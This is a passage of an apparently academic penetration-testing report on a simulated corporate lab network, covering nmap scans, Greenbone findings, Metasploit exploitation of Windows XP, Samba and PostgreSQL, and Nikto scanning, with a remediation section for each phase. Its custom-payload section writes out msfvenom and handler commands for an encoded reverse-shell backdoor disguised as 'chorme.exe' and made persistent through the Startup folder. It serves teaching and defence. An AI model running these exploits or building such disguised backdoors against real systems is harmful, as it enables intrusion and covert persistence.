e ISAKMPI/IPsec-related services (500/udp, 4500/udp)
e UPnP-related service exposure (1900/udp)

Several ports returned openi|filtered responses, indicating potential firewall interaction or
silent packet filtering.

Security Impact
UDP exposure may enable:
o Network reconnaissance through NetBIOS
o VPN/IPsec attack surface targeting
o Amplification or reflection-based denial-of-service vectors

Because UDP scanning is often omitted, attackers gain additional hidden visibility into
network services.

Page 31 of 119




AutolLiv Pen Testing Report

Fragmented Packet Scan

Command / Method

sudo nmap 192.168.0.3 -f

Purpose

The fragmented packet scan (-f) attempts to evade firewall and intrusion-detection controls
by splitting packets into smaller fragments, making inspection more difficult for improperly
configured defenses.

Findings (figure 54)

The scan reproduced the same SMB-related open ports (135, 139, 445) identified in
previous scans, confirming that packet fragmentation did not prevent service discovery.

Security Impact
Successful enumeration despite fragmentation indicates:
o Limited firewall packet-reassembly inspection
o Potential susceptibility to evasion-based reconnaissance

e Increased likelihood of undetected malicious scanning

HTTP Enumeration Script
Command / Method

sudo nmap 192.168.0.3-5 -p80 --script http-enum

Purpose
The http-enum NSE script performs web-application reconnaissance by identifying:
¢ Administrative panels
e Login portals
e Directory listings
e Publicly accessible web resources
This step represents initial web-application attack surface discovery.
Findings (figure 55)
Enumeration of host 192.168.0.5 revealed multiple potentially sensitive directories,

including:
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e Jadmin/login.php — Possible administrative authentication portal

o [classes/ and /css/ — Directory listings enabled

e Jicons/ and limages/ — Accessible resource directories

o Jindex/ and /show/ — Additional exposed content paths

These results confirm public web-directory exposure on an Apache 2.2.16 server.
Security Impact

Web directory exposure significantly increases attacker capability by enabling:

e Credential-harvesting attacks via admin portals

o Discovery of hidden application functionality

e Enumeration of sensitive files and configuration data

Unchecked directory exposure is a common precursor to full web compromise.
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4.0 Vulnerability Assessment

4.1 Overview
The Vulnerability Assessment phase expanded upon prior reconnaissance and
enumeration activities by identifying known security weaknesses present on discovered
hosts within the controlled laboratory environment. This phase utilized the Greenbone
Vulnerability Management (GVM/OpenVAS) platform running inside the Kali Linux virtual
machine to perform vulnerability scans against multiple simulated enterprise targets.

Unlike reconnaissance scanning, vulnerability assessment correlates detected
services, operating systems, and configurations with publicly disclosed security flaws
documented in the Common Vulnerabilities and Exposures (CVE) database. The goal of this
phase was to determine exploitable weaknesses, evaluate their severity, and provide
remediation guidance aligned with secure system design principles.

It is important to clarify that all vulnerability scanning was conducted exclusively
within an authorized GCU laboratory simulation and not against the real AutoLiv
corporate domain, infrastructure, or production systems. The laboratory virtual
machines were intentionally configured to represent systems that could plausibly exist within
an enterprise environment similar to AutoLiv’s network. This simulated methodology enables
ethical demonstration of penetration-testing techniques, vulnerability discovery, and
remediation planning while remaining fully compliant with legal, institutional, and academic
requirements. If comparable vulnerabilities were present in a real corporate environment,
they could expose the organization to risks such as remote code execution, credential
compromise, lateral movement, and long-term attacker persistence. Therefore, the findings
documented in this phase should be interpreted strictly as hypothetical risk modeling
derived from simulated systems, not evidence of actual vulnerabilities within AutoL.iv.

4.2 Recommendation
Based on the vulnerability assessment conducted using Greenbone Vulnerability
Management (OpenVAS), several critical and high-severity security weaknesses were
identified across the simulated enterprise hosts. These findings highlight systemic risks
commonly associated with legacy operating systems, outdated services, weak
authentication mechanisms, and insecure default configurations.

To achieve successful remediation and align with fundamental secure system design
principles, the following defensive actions are recommended:

e Apply vendor-supported security patches and updates to remediate publicly
disclosed CVEs affecting operating systems and network services.

o Decommission or upgrade unsupported legacy platforms, particularly Windows
XP/Server 2003-class systems that no longer receive security updates.

o Disable unnecessary or insecure network services such as Telnet, FTP, and SMBv1
to reduce remote attack surface exposure.
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o Enforce strong authentication controls, including password complexity requirements,
account lockout protections, and secure administrative access methods such as SSH

key-based authentication.

o Implement network segmentation, firewall filtering, and least-privilege access

controls to prevent lateral movement following compromise.

e Establish a continuous vulnerability management and patch governance program
supported by routine scanning, remediation tracking, and configuration auditing.

o Deploy endpoint detection, logging, and intrusion-detection monitoring capable of
identifying exploitation attempts and anomalous persistence behavior.

Collectively, these remediation strategies reduce exploitability, strengthen defensive
posture, and support long-term enterprise security resilience within environments

comparable to the simulated AutoLiv infrastructure.

4.3 Scope

Environment
e Platform: Kali Linux (GCU Cloud Virtual Machine)
e Tool: Greenbone Vulnerability Manager (OpenVAS/GVM)
e Targets Scanned:
o SQL To Shell
o Windows XP
o Kali-Linux Host System
Ethical Limitation
e No scanning of real AutoLiv infrastructure

o All activity restricted to sandbox virtual machines

o Conducted strictly for academic penetration-testing simulation
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4 .4 Details

4.4.1 Vulnerability Scanning Using Greenbone (OpenVAS)

Tool: Greenbone Vulnerability Manager (GVM/OpenVAS)

Database Source: Common Vulnerabilities and Exposures (CVE) and Greenbone Network
Vulnerability Tests (NVT)

Environment: Kali Linux (GCU Virtual Lab)

Command / Method

Greenbone Vulnerability Manager services were initialized from the Kali Linux terminal using
the gvm-start command to launch the vulnerability scanner, management daemon, and web
interface required for assessment (Figure 56).

The Greenbone Security Assistant web dashboard was accessed locally through the
provided HTTPS interface, allowing configuration of scan targets, execution of vulnerability
scans, and review of assessment results (Figure 57).

Three scan targets were configured and evaluated:
e Local Kali Linux host (127.0.0.1)

e SQL To Shell vulnerable server (127.0.0.3)

o Additional vulnerable host (127.0.0.4)

Corresponding vulnerability scan tasks were executed using the Full and Fast scan
configuration.
All scan tasks completed successfully without execution errors, confirming proper scanner

operation (Figure 59).

Host discovery and operating system identification results were then reviewed within
Greenbone, confirming detection of multiple hosts and associated operating systems.
(Figures 61-62)

All scanning activity occurred strictly within the authorized academic simulation
environment and did not involve real AutoLiv infrastructure.

Purpose

The purpose of performing vulnerability scanning with Greenbone was to identify known
security weaknesses, insecure configurations, and exploitable conditions present on
discovered hosts following reconnaissance and enumeration phases.

Unlike port or service enumeration alone, vulnerability assessment correlates detected
systems and services with public CVE-documented vulnerabilities, enabling:
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o |dentification of high-risk security exposures
o Evaluation of exploitability and enterprise impact

o Development of remediation strategies aligned with secure system design
principles

This phase represents the transition from technical discovery to formal risk analysis
within the penetration-testing lifecycle.

Findings

Greenbone scan results identified multiple vulnerabilities of varying severity across the
simulated laboratory hosts.

Key observations include:
Local Kali Linux Host (127.0.0.1)

o Detected medium-severity vulnerabilities, including insecure service configurations
such as unauthenticated MQTT access and weak SSL/TLS cipher support (Figure 60)

o Demonstrates that even maintained administrative systems may contain
misconfiguration-based security risks

SQL To Shell / Additional Vulnerable Hosts (127.0.0.3 — 127.0.0.4)

o Returned log-level or lower-severity findings, indicating fewer exploitable weaknesses
relative to legacy or intentionally vulnerable environments

e Confirms variability of vulnerability exposure across different host configurations
Operating System Analysis

o Greenbone severity distribution shows one high-severity operating system instance
alongside medium and low classifications (Figure 62)

e Reinforces correlation between legacy or insecure configurations and increased
vulnerability severity

Collectively, results demonstrate that system configuration, patch level, and service
exposure directly influence vulnerability severity.

Security Impact

If vulnerabilities similar to those identified in this simulated environment were present within
a real enterprise network, potential impacts could include:

« Unauthorized remote access or service abuse

o Credential exposure or interception through weak encryption
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o Privilege escalation and lateral movement across internal systems
o Persistent attacker footholds enabling long-term compromise
These risks highlight the necessity of:

e Continuous vulnerability scanning and remediation

e Secure service configuration and encryption enforcement

e Ongoing patch and lifecycle management

All conclusions remain confined to a controlled academic simulation and do not indicate
real vulnerabilities within AutoLiv production infrastructure.

4.4.2 Critical Vulnerability Taxonomies Identified

Command / Method

Detailed vulnerability information was obtained by reviewing completed Greenbone scan
reports and opening individual host findings within the Greenbone Security Assistant
interface.

Each vulnerability entry was correlated with associated CVE and NVT identifiers, severity
classifications, and affected services to determine representative critical enterprise
vulnerability categories present within the simulated environment (Figures 60 and 63).

Remediation guidance was derived from Greenbone vulnerability descriptions and aligned
with secure configuration, patch management, and service-hardening best practices.

Purpose
The objective of this section is to:
o |dentify five critical vulnerability categories discovered during scanning
e Evaluate security risk and exploitability

e Provide actionable remediation strategies aligned with enterprise security design
principles

This transforms raw vulnerability scan output into defensive security
recommendations, completing the penetration-testing risk-analysis phase.

Findings and Remediation
1. Unauthenticated Network Service Exposure (MQTT)

Evidence: Medium-severity MQTT broker vulnerability detected on the local host (Figure 60).
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Risk: Allows attackers to connect without credentials, enabling unauthorized messaging,
command injection, or data interception.

Security Impact: Potential remote interaction with internal services and persistence
mechanisms.

Remediation:
 Enforce authentication and authorization controls
o Restrict access via firewall segmentation

e Disable unnecessary messaging services

2. Weak SSL/TLS Cryptographic Configuration
Evidence: Weak cipher suites identified in scan results (Figure 60).

Risk: Enables traffic decryption, man-in-the-middle interception, and credential
exposure.

Security Impact: Compromises confidentiality and integrity of encrypted
communications.

Remediation:
¢ Disable deprecated protocols and ciphers
o Enforce TLS 1.2/1.3 only

e Maintain certificate lifecycle management

3. Weak SSH Cryptographic Algorithms
Evidence: Weak SSH MAC algorithm support detected (Figure 60).

Risk: Permits cryptographic downgrade attacks, brute-force facilitation, or session
hijacking.

Security Impact: Threatens administrative remote-access security and may enable
privilege escalation.

Remediation:
e Remove deprecated MAC/cipher algorithms
e Require key-based authentication

o Enforce secure SSH configuration baselines
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4. CVE-Referenced Host Vulnerabilities
Evidence: Multiple CVE/NVT identifiers associated with scanned hosts (Figure 63).

Risk: Documented vulnerabilities provide known exploitation pathways widely used in
real-world attacks.

Security Impact: May enable:

+ Remote code execution

o Privilege escalation

e Service compromise

Remediation:

¢ Apply vendor security patches

e Upgrade unsupported software versions

e Implement continuous vulnerability management

5. System Misconfiguration and Exposure Risk
Evidence: Variation in severity across hosts and services (Figures 60—-63).
Risk: Default configurations and exposed services create low-complexity attack vectors.
Security Impact: Facilitates:
e Lateral movement
¢ Credential compromise
o Persistent attacker footholds
Remediation:
o Apply secure configuration hardening standards
e Disable unused services and ports

e Perform routine vulnerability scanning and auditing

Security Impact

The vulnerability categories identified represent common enterprise exploitation
pathways capable of enabling:

e Unauthorized remote access

o Credential compromise
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e Privilege escalation and lateral movement
e Long-term attacker persistence and data exfiltration

These weaknesses are frequently leveraged by advanced persistent threat (APT) actors,
as they provide stable and repeatable intrusion mechanisms within inadequately secured
environments.

All findings remain confined to a controlled academic simulation and do not indicate real
vulnerabilities within AutoLiv production infrastructure.

4.4.3 Application of Vulnerability Knowledge to Alternative Contexts

Command / Method

Analysis of vulnerability applicability was performed by reviewing the severity
classifications, CVE/NVT identifiers, affected services, and remediation guidance
obtained from the Greenbone vulnerability assessment.

Observed vulnerability patterns were then compared against common enterprise security
weaknesses documented in industry security frameworks and real-world intrusion case
studies to determine how similar conditions could manifest in different technical and
organizational environments.

Purpose

The purpose of this section is to demonstrate how vulnerabilities identified within a
controlled laboratory simulation can provide meaningful insight into:

e Broader enterprise security risks
o Transferability of exploitation techniques
o Preventive defensive design strategies

This analysis ensures that findings extend beyond a single environment and contribute to
realistic organizational risk understanding.

Findings

The vulnerability assessment revealed several reusable vulnerability patterns that
commonly appear across enterprise systems, cloud services, and hybrid infrastructures:

Authentication and Access Control Weaknesses

Unauthenticated services and weak credential protections observed in the lab mirror real-
world enterprise misconfigurations, where exposed services allow attackers to gain
initial footholds without valid credentials.
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These weaknesses frequently appear in:
e Internet-exposed loT or messaging services
e Misconfigured cloud workloads

e Legacy internal services lacking modern authentication

Weak Cryptographic Implementations

Detection of weak SSL/TLS and SSH cryptographic configurations demonstrates how
outdated encryption standards remain a widespread organizational risk.

Similar weaknesses are commonly exploited in:

¢ Legacy web servers

e VPN gateways using deprecated ciphers

e Internal administrative protocols lacking modern encryption enforcement

Because encryption protects confidentiality and integrity, weaknesses in this area
translate directly into enterprise-wide exposure risk.

CVE-Documented Software Vulnerabilities

Host vulnerabilities associated with public CVE identifiers illustrate how known software
flaws persist in production environments due to:

e Delayed patching
¢ Unsupported software versions
e Inadequate vulnerability-management processes

These same conditions are repeatedly leveraged in real-world breaches, ransomware
campaigns, and advanced persistent threat intrusions.

System Misconfiguration and Service Exposure

Variation in severity across scanned hosts demonstrates that configuration quality
directly impacts risk level.

Poorly hardened systems consistently present higher exploitability, regardless of operating
system or deployment model.

This principle applies broadly to:
e On-premises enterprise networks

e Cloud infrastructure and containers
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e Third-party vendor environments

Security Impact
Understanding how vulnerabilities translate across environments enables organizations to:
¢ Predict attacker behavior based on known exploitation patterns
e Prioritize remediation according to real business risk
o Implement defense-in-depth security architecture across diverse systems
o Strengthen patch management, encryption policy, and configuration hardening

These lessons demonstrate that vulnerability assessments are not limited to a single system
but instead provide strategic security insight applicable to alternative operational
contexts.

All interpretations remain based on a controlled academic simulation and do not indicate
real vulnerabilities within AutoLiv production infrastructure.

4.4.4 Advanced Persistent Threat (APT) Relevance

Command / Method

Advanced persistent threat relevance was evaluated by analyzing the vulnerability
categories, severity levels, affected services, and CVE-referenced findings identified
during the Greenbone vulnerability assessment.

Observed weaknesses were compared with documented attacker behaviors and
intrusion techniques commonly associated with long-term targeted cyber-espionage and
enterprise compromise operations.

Purpose

The purpose of this section is to determine whether vulnerabilities discovered within the
simulated laboratory environment could realistically be leveraged by advanced
persistent threat (APT) actors in real organizational contexts.

This analysis supports:
e Understanding long-term exploitation potential
e Evaluating enterprise-level security risk

o Demonstrating the relationship between technical vulnerabilities and strategic cyber
threats
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Findings

Several vulnerability categories identified in the Greenbone assessment align closely with
conditions historically exploited in APT intrusion campaigns.

Unauthenticated or Weakly Protected Services

Exposure of services without authentication—such as the detected MQTT configuration—
mirrors real-world initial-access vectors used by threat actors to obtain unauthorized
footholds inside enterprise environments.

APT groups frequently exploit:

e Misconfigured network services

o Default or missing authentication controls
e Poorly segmented internal systems

These weaknesses enable stealthy persistence prior to detection.

Weak Cryptographic Implementations

Detection of weak SSL/TLS cipher suites and insecure SSH cryptographic algorithms
demonstrates how outdated encryption configurations can undermine enterprise
confidentiality and integrity protections.

APT actors commonly target:

e Legacy encryption protocols

e Downgrade-susceptible secure channels
+ Administrative remote-access services

Successful exploitation may allow credential interception, session hijacking, or covert
monitoring of communications.

CVE-Documented Host Vulnerabilities

The presence of vulnerabilities associated with public CVE and NVT identifiers reflects
one of the most common real-world APT exploitation strategies: leveraging known but
unpatched software flaws.

Historical breach investigations consistently show attackers exploiting:
o Delayed patch deployment
¢ Unsupported software versions

e Weak vulnerability-management processes
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These conditions enable remote code execution, privilege escalation, and lateral
movement within enterprise networks.

System Misconfiguration and Privilege Escalation Paths

Variation in vulnerability severity across hosts indicates that configuration weaknesses,
rather than operating system type alone, often determine exploitability.

APT actors routinely exploit:

o Default configurations

o Excessive service exposure

o Insufficient privilege separation

Such weaknesses support long-term persistence and covert expansion across internal
infrastructure.

Security Impact

If vulnerabilities comparable to those identified in this controlled simulation existed within a
real corporate environment, they could enable:

o Stealthy initial compromise through unauthenticated services

e Credential interception and encrypted-traffic decryption

e Privilege escalation and lateral network movement

o Persistent access supporting espionage, disruption, or data exfiltration

These outcomes align directly with documented APT operational objectives, confirming
that the vulnerability categories discovered in this assessment represent credible
enterprise-level security risks.

Effective mitigation therefore requires:

e Continuous vulnerability scanning and remediation

e Strong authentication and encryption enforcement

o Timely patch and lifecycle management

e Comprehensive defense-in-depth security architecture

All conclusions remain limited to an academic simulation environment and do not indicate
real vulnerabilities within AutoLiv production infrastructure.
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5.0 Applied Exploitation Using Metasploit

5.1 Overview

The Applied Exploitation phase transitioned from vulnerability identification to controlled
exploitation using the Metasploit Framework within the authorized GCU laboratory
environment.

This phase demonstrates how previously identified vulnerabilities can be weaponized to
obtain unauthorized system access, escalate privileges, and establish remote control
sessions.

All exploitation activities were conducted exclusively within the Lopes Cloud sandbox
environment against:

* Windows XP
» Metasploitable 1
» Metasploitable 2

No real-world systems were targeted. All activity complied with institutional and ethical
penetration-testing standards.

5.2 Recommendation

Based on successful exploitation of the simulated hosts, the following defensive measures
are recommended:

» Decommission unsupported legacy systems such as Windows XP

* Disable SMBv1 and vulnerable network services

« Enforce strict patch management governance

* Remove default credentials and weak passwords

» Implement host-based intrusion detection and logging

» Apply network segmentation to restrict lateral movement

» Conduct routine exploitation validation testing as part of red-team assessments

The results demonstrate that unpatched systems and weak service configurations enable
rapid compromise using publicly available exploit frameworks.

Page 46 of 119




AutolLiv Pen Testing Report

5.3 Scope

Environment
* Platform: Kali Linux (Lopes Cloud)
* Tool: Metasploit Framework (msfconsole)

* Targets: (figure 64)
e  Windows XP (192.168.0.3)

o Metasploitable 1 (192.168.0.2)
o Metasploitable 2 (192.168.0.4)

Ethical Limitation

* No external networks were targeted

* No real AutoLiv infrastructure was involved

* All activity remained within the authorized GCU virtual lab

5.4 Details

5.4.1 Exploitation of Windows XP

Tool: Metasploit Framework
Module: exploit/windows/smb/ms08 067 _netapi
Target Host: 192.168.0.3

Command / Method

Prior enumeration activities confirmed that the Windows XP host at 192.168.0.3 was
accessible on the network and exposed SMB services on port 445/tcp (Figure 67). Service
fingerprinting identified the system as Windows XP Service Pack 3, a legacy operating
system known to be vulnerable to MS08-067 remote code execution.

A module search within the Metasploit Framework identified applicable SMB exploit modules
targeting legacy Windows platforms (Figure 68). The MS08-067 NetAPI exploit module was
selected and loaded into the Metasploit console (Figure 69).

Exploit parameters were configured to define the local reverse handler (LHOST) and the
remote Windows XP target (RHOSTS) (Figure 70). Once properly configured, the exploit was
executed against the target host.

Execution output confirmed successful vulnerability triggering and establishment of a
Meterpreter session (Figure 71), demonstrating unauthenticated remote code execution via
the SMB service.
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Findings

Successful exploitation of MS08-067 resulted in full administrative compromise of the
Windows XP system.

SYSTEM-Level Privilege Verification

After establishing the Meterpreter session, privilege verification was conducted to confirm
the level of access obtained. The session was running under NT AUTHORITY\SYSTEM,
demonstrating complete administrative control of the host (Figure 72).

Credential Extraction

The hashdump command was executed to extract password hashes from the Windows
Security Account Manager (SAM) database. Multiple user account hashes, including the
Administrator account, were successfully retrieved (Figure 73).

This confirms credential compromise and potential for lateral movement within a networked
enterprise environment.

Remote Desktop Capture

A remote screenshot of the Windows XP desktop was successfully captured from the
compromised system (Figure 74). This demonstrates active remote control of the host and
confirms that the attacker can interact with the user environment.

File System Access and Manipulation

File system enumeration and file upload capabilities were verified within the compromised
environment (Figure 75). The ability to navigate directories and upload files confirms full
operational control over the system’s storage and execution environment.

Security Impact

The MS08-067 vulnerability is a critical SMB remote code execution flaw that allows
unauthenticated attackers to execute arbitrary code over port 445.

Exploitation requires:

e No valid credentials

e No prior authentication

e Only network access to the vulnerable host

If present in a real enterprise environment, this vulnerability would allow attackers to:
e Achieve full SYSTEM-level control

o Extract password hashes for credential reuse

e Deploy ransomware or persistent backdoors

e Move laterally through SMB trust relationships
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o Establish long-term persistence within internal infrastructure

The vulnerability exploited in this simulation has historically been leveraged in large-scale
malware campaigns and enterprise breaches, reinforcing the critical risk posed by
unsupported legacy operating systems.

The successful compromise of the Windows XP host confirms that unpatched legacy
systems represent severe enterprise security exposure.

All exploitation activity was conducted strictly within the authorized academic sandbox and
does not represent real AutoLiv infrastructure.

5.4.3 Exploitation of Metasploitable 1
Tool: Metasploit Framework
Module: exploit/multi/samba/usermap_script
Target Host: 192.168.0.2
Attacker Platform: Kali Linux (Lopes Cloud Environment)

Command / Method

Following enumeration in prior phases, the Metasploitable 1 host at 192.168.0.2 was
identified as exposing multiple network services, including Samba over port 139 and 445
(Figure 76). Service version detection indicated an outdated Samba configuration consistent
with known command injection vulnerabilities.

A search within the Metasploit Framework identified the usermap_script module as
applicable to vulnerable Samba versions (Figure 77). The module was selected and loaded
into the Metasploit console for configuration (Figure 78).

Exploit parameters were configured to define the remote host (RHOSTS) and local reverse
handler (LHOST) (Figure 79). Once configuration was validated, the exploit was executed
against the target system.

Execution output confirmed successful command injection and establishment of a remote
shell session (Figure 80), demonstrating unauthenticated remote compromise of the Linux-
based Metasploitable host.

Findings

Successful exploitation of the Samba username map script vulnerability resulted in
immediate shell-level access to the target system.

Remote Shell Access Verification

Upon exploitation, a shell session was successfully opened, confirming arbitrary command
execution on the target system (Figure 81). Basic system identification commands were
executed to verify access and confirm the compromised host environment.
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The ability to execute commands remotely confirms that the Samba service was improperly
configured and vulnerable to command injection.

Privilege and System Enumeration
Post-exploitation enumeration confirmed:
o Active user context

e Linux kernel version

o Directory structure

o System-level file access

File system navigation demonstrated unrestricted directory visibility and execution capability
(Figure 82). This level of access enables attackers to deploy persistence mechanisms,
extract sensitive files, or escalate privileges depending on system configuration.

Security Impact

The Samba username map script vulnerability (CVE-2007-2447) allows unauthenticated
remote command execution via improperly validated username parameters.

Exploitation requires:

o Network access to SMB service

+ No valid credentials

¢ No prior authentication

Successful compromise enables:

e Remote shell access

e File system traversal

e Deployment of malicious payloads

o Credential harvesting from Linux systems

e Lateral movement within mixed Windows/Linux environments

Because Samba is frequently deployed in enterprise environments for file sharing and
authentication integration, misconfigured instances present significant cross-platform
security risk.

The successful exploitation of the Metasploitable 1 host confirms that outdated open-source
service configurations can expose enterprise systems to immediate compromise.
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All exploitation activity was conducted strictly within the authorized academic sandbox and
does not represent real AutoLiv infrastructure.

5.4.3 Exploitation of Metasploitable 2
Tool: Metasploit Framework
Module: exploit/linux/postgres/postgres_payload
Target Host: 192.168.0.4
Attacker Platform: Kali Linux (Lopes Cloud Environment)

Command / Method

Enumeration results identified that the Metasploitable 2 host at 192.168.0.4 was exposing
PostgreSQL service on port 5432/tcp (Figure 83). Service fingerprinting confirmed the
presence of an accessible PostgreSQL instance.

A module search within the Metasploit Framework identified applicable PostgreSQL exploit
modules capable of leveraging default credentials (Figure 84). The postgres_payload module
was selected and loaded for exploitation (Figure 85).

Exploit parameters were configured to define:

¢ Remote host (RHOSTS = 192.168.0.4)

e Local reverse handler (LHOST)

e Default PostgreSQL credentials (postgres / postgres)
(Figure 86)

Upon execution, the module successfully authenticated to the PostgreSQL service and
deployed a payload, resulting in a remote shell session on the Linux host (Figure 87).

Findings
Successful exploitation resulted in remote shell-level access to the Metasploitable 2 system.
Shell Verification

Post-exploitation verification commands confirmed active access to the Linux host and
identified the current user context and kernel version (Figure 88).

File System Enumeration

Directory traversal confirmed full visibility of the system’s file structure (Figure 89). The ability
to navigate root directories demonstrates full system compromise.

Security Impact
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PostgreSQL services configured with default credentials present a critical enterprise risk.
Successful exploitation enables:

¢ Unauthorized database access

+ Remote shell execution

o Data extraction

e Privilege escalation opportunities

e Lateral movement across networked systems

This exploit demonstrates how weak credential management can lead directly to full system
compromise.

All activity was conducted within the authorized academic sandbox environment.
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6.0 Custom Payload

6.1 Overview

The Applied Exploitation phase transitioned from vulnerability identification to controlled
exploitation within the authorized GCU Lopes Cloud laboratory environment.

This phase demonstrates how previously identified vulnerabilities on a legacy Windows XP
system can be exploited using the Metasploit Framework to obtain unauthorized remote
access. Following successful exploitation, a custom reverse TCP payload was generated
using MSFVenom and deployed as a persistent backdoor.

The objective of this phase was to:

o Exploit a known SMB vulnerability

o Obtain SYSTEM-level access

o Generate a custom payload

o Establish a remote reverse shell connection
¢ Implement persistence

o Verify remote administrative control

All activities were conducted strictly within the academic sandbox environment. No real
AutoLiv systems were targeted.

6.2 Recommendation

Based on the successful exploitation and backdoor deployment, the following defensive
security recommendations are provided:

o Decommission unsupported legacy systems such as Windows XP

e Disable SMBv1 and vulnerable legacy services

o Enforce strict patch management governance

e Restrict outbound firewall rules to prevent unauthorized reverse connections
¢ Implement host-based intrusion detection and logging

o Remove unnecessary Startup persistence mechanisms

e Conduct regular exploitation validation testing

The results demonstrate that unpatched legacy systems allow rapid compromise using
publicly available exploit frameworks and tools.
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6.3 Scope

Environment

o Attacker Platform: Kali Linux (Lopes Cloud)
e Target Host: Windows XP (192.168.0.3)
e Toolset: Metasploit Framework and MSFVenom

Ethical Limitation

¢ No external networks were targeted
¢ No real AutoLiv infrastructure was involved
e All activity remained within the authorized GCU virtual lab

6.4 Details

6.4.1 Exploitation of Windows XP

Tool: Metasploit Framework
Module: exploit/windows/smb/ms08 067 _netapi
Target Host: 192.168.0.3

Command / Method

Prior Nmap enumeration confirmed that the Windows XP host exposed SMB services on
port 445/tcp. Service fingerprinting identified the operating system as Windows XP Service
Pack 3, a legacy platform vulnerable to MS08-067 remote code execution.

The exploit module was selected and configured:

use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.0.3

set LHOST 192.168.0.1

run

Execution output confirmed successful vulnerability triggering and establishment of a
Meterpreter session.

Findings

Unauthenticated remote code execution achieved
Meterpreter session established

e SYSTEM-level privileges obtained

e Full administrative compromise confirmed

The session operated under NT AUTHORITY\SYSTEM, confirming complete control of the
target host.
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Security Impact

The MS08-067 vulnerability allows unauthenticated attackers to execute arbitrary code over
SMB without credentials. If present in a real enterprise network, this vulnerability would
enable:

o Full system compromise

e Credential extraction

e Ransomware deployment

e Lateral movement via SMB trust relationships
e Long-term persistence

6.4.2 Custom Payload Creation and Backdoor Deployment

Tool: MSFVenom / Metasploit Framework
Target Host: Windows XP (192.168.0.3)
Attacker Platform: Kali Linux (Lopes Cloud Environment)

Custom Payload Generation

Following successful exploitation of the Windows XP host, a custom reverse TCP payload
was generated using MSFVenom to establish independent persistent access.

The following command was executed from Kali Linux:
msfvenom -p windows/meterpreter/reverse_tcp StageRetryCount=17280

LHOST=192.168.0.1 LPORT=4132 -a x86 -e x86/shikata_ga_nai -i 3 -f exe >
chorme.exe

The MSFVenom output confirmed successful payload creation and encoding iterations
(Fiqure 90).

Listener Configuration

A Metasploit multi/handler listener was configured to receive the reverse connection from
the custom payload.

The following commands were executed:

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.0.1

set LPORT 4132

run
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The handler successfully initialized and began listening on TCP port 4132 (Figure 91).
Payload Upload to Windows XP

Using the active Meterpreter session obtained in Section 5.4.1, the custom payload was
uploaded to the compromised Windows XP host:

upload chorme.exe

Meterpreter confirmed successful file transfer to the target system (Figure 92).

Persistence via Startup Folder

To establish persistence, the payload was placed in the Windows Startup directory:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Directory listing confirmed the presence of chorme.exe within the Startup folder (Figure 93).

This ensures automatic execution upon system reboot.

Reverse Connection Establishment

The payload was executed from the compromised system:

chorme.exe

The multi’lhandler immediately received an inbound connection, confirming successful
reverse TCP communication (Figure 94).

Remote Access Verification

Post-exploitation verification commands were executed to confirm session control:

getuid
pwd

Is
netstat

The Meterpreter session confirmed SYSTEM-level privileges (Figure 95).

Netstat output confirmed an ESTABLISHED outbound TCP connection from Windows XP to

the Kali Linux attacker machine on port 4132 (Figure 96).
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7.0 Website Vulnerability Assessment

7.1 Overview

The Website Vulnerability Assessment phase focused on identifying security weaknesses
present within the web applications hosted on the Metasploitable 2 virtual machine. Web
services represent one of the most common entry points for attackers because they are
publicly accessible and frequently interact with user input, databases, and backend services.

During this phase, multiple web vulnerability assessment tools available within the Kali Linux
environment were used to analyze the simulated web infrastructure. The tools included:

* Nikto Web Server Scanner
» Metasploit WMAP Web Application Scanner
* OWASP ZAP (Zed Attack Proxy)

These tools were used to identify insecure configurations, outdated software, exposed
directories, and application vulnerabilities such as SQL injection and cross-site scripting
(XSS).

All scanning activities were conducted strictly within the authorized GCU penetration testing
laboratory environment against the Metasploitable 2 virtual machine. No real AutoLiv
systems were scanned or interacted with during this assessment.

The results demonstrate how automated vulnerability scanners can quickly identify
weaknesses in web applications that could allow attackers to gain unauthorized access,
extract data, or escalate privileges.

7.2 Recommendation

Based on the website vulnerability assessment findings, the following defensive security
recommendations are provided:

o Upgrade outdated web server software such as Apache and PHP to currently supported
versions

e Disable unnecessary HTTP methods including TRACE to prevent cross-site tracing
attacks

e Implement secure HTTP security headers including

o X-Frame-Options
e Content-Security-Policy
o X-Content-Type-Options

* Disable directory indexing on public web servers
* Remove publicly accessible configuration files such as phpinfo.php or wp-config.php
* Protect administrative interfaces such as phpMyAdmin behind authentication controls or
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network restrictions

+ Sanitize user input to prevent SQL injection and cross-site scripting attacks

» Implement Web Application Firewalls (WAF) to detect and block malicious requests
» Conduct routine web application vulnerability scanning and patch management

Implementing these defensive measures significantly reduces the risk of web application
compromise and helps protect sensitive enterprise systems.

7.3 Scope

Environment

Platform
Kali Linux (GCU Virtual Machine)

Target System
Metasploitable 2 Web Server

Target IP Addresses Discovered (figure 104)

e 192.168.0.2

e 192.168.0.4

e 192.168.0.5
Tools Used

o Nikto Web Server Scanner (v2.5.0)

o Metasploit Framework WMAP plugin

o OWASP ZAP Web Application Scanner
o Netdiscover (network discovery)

Ethical Limitation

¢ All scanning activity was performed exclusively within the GCU virtual lab
environment

¢ No real AutoLiv infrastructure was targeted

¢ The Metasploitable virtual machine is intentionally vulnerable and designed for
penetration testing practice
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7.4 Details

7.4.1 Web Server Vulnerability Scanning Using Nikto
Tool: Nikto Web Server Scanner
Target Hosts: 192.168.0.2, 192.168.0.4, 192.168.0.5
Environment: Kali Linux (GCU Virtual Lab)

Command / Method

The Nikto web vulnerability scanner was used to identify insecure configurations, outdated
server components, and potentially dangerous files within the web services hosted on the
Metasploitable environment.

The following commands were executed from the Kali Linux terminal to scan each
discovered web server:

nikto -host 192.168.0.2
nikto -host 192.168.0.4
nikto -host 192.168.0.5

Nikto initiated a comprehensive scan against the HTTP services operating on port 80 of
each target host. The scanner enumerated web server headers, detected installed software
versions, and searched for known insecure files, directories, and configuration weaknesses.

During the scan, Nikto identified that several servers were running outdated versions of
Apache and PHP. The scanner also detected missing HTTP security headers and exposed
directories that could reveal sensitive information about the underlying server configuration.

The results confirmed that multiple hosts were operating legacy web server software and
insecure configurations commonly associated with intentionally vulnerable systems such as

Metasploitable (Figures 97-99).

Findings
The Nikto scan identified several security weaknesses across the scanned hosts.

Outdated Web Server Software

The web servers were identified as running Apache versions including Apache 2.2.8 and
Apache 2.2.16. These versions are no longer supported and contain numerous publicly
documented vulnerabilities that may allow remote attackers to exploit the web service.

Outdated PHP Installation

The servers were running PHP version 5.2.4, which reached end-of-life more than a decade
ago. Legacy PHP versions contain multiple vulnerabilities that may allow code execution,
